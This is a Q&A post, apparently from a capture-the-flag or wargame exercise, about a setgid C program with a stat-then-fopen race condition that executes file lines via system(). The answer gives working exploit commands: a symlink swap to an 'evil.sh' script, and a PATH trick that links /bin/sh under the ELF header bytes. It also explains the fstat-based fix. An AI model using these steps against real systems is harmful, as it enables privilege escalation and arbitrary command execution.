Search code examples
linuxgroup-policyrace-conditionsymlink

How to replace a file under gid checking?


As the following code, there have a gid check, and in order to pass this check, I have to pass the currently executing file as the argument when I execute.
I was wondering how can I replace this file in order to get the bash? It's an obvious race condition, but I have no clue about this since symlink does not suit into this case.



#define BUFSIZE 512

int main(int argc, char **argv)
{
  struct stat buf;
  char cmd[BUFSIZE];
  FILE *f = NULL;

  if (argv[1] == NULL)
  {
    fprintf(stderr, "error");
    exit(1);
  }

  if (stat(argv[1], &buf))
  {
    fprintf(stderr, "error\n");
    exit(1);
  }

  if (buf.st_gid != getegid())
  {
    fprintf(stderr, "The file must be owned by group %d.\n", getegid());
    exit(1);
  }

  fprintf(stderr, "All checks passed!\n");

  sleep(3);

  if ((f = fopen(argv[1], "r")) == NULL)
  {
    fprintf(stderr, "Cannot open file.\n");
    return 1;
  }

  while (fgets(cmd, BUFSIZE, f))
  {
    if ((cmd[0] == '\n') || (cmd[0] == 0x7f))
    {
      fprintf(stderr, "empty line, quitting!\n");
      return 2;
    }
    system(cmd);
  }

  printf("Done!\n");
  return 0;
}


Solution

  • You can use both a symlink and a hard link (assuming you can hardlink it).

    Supposing the program was 'program', the file with that gid 'program' itself and the one with your orders 'evil.sh':

    ln -s /usr/local/bin/program readthis  # Make readthis a symlink to program
    /usr/local/bin/program readthis &  # Launch in background
    sleep 1  # Probably enough to get program into the sleep
    rm readthis
    ln -s evil.sh readthis  # Alternatively, mv it
    # Profit!
    

    Note it is using stat(), so it will follow symlinks. If it used lstat(), you could still play with symlinks, but would need to do so with the folder of the item.

    In order to actually fix the race condition, the program should open() the file and use fstat() on it, then converting that same fd into a FILE* with fdopen() (alternatively, first fopen() the file and then fstat(fileno(f), &buf) for permission checks).

    Finally, although not the expected solution, you could also exploit this program by doing:

    ln -s /bin/sh  $'\x7f\x45\x4c\x46\x02\x01\x01'
    export PATH="$PATH:$PWD"
    /usr/local/bin/program /usr/local/bin/program
    

    since the compiled program probably starts with those values (just look the beginning of the compiled binary). This doesn't require the race condition.

    If there files with that gid with recipes to run, and they don't use absolute pahs you may be able to exploit those as well with a modified $PATH.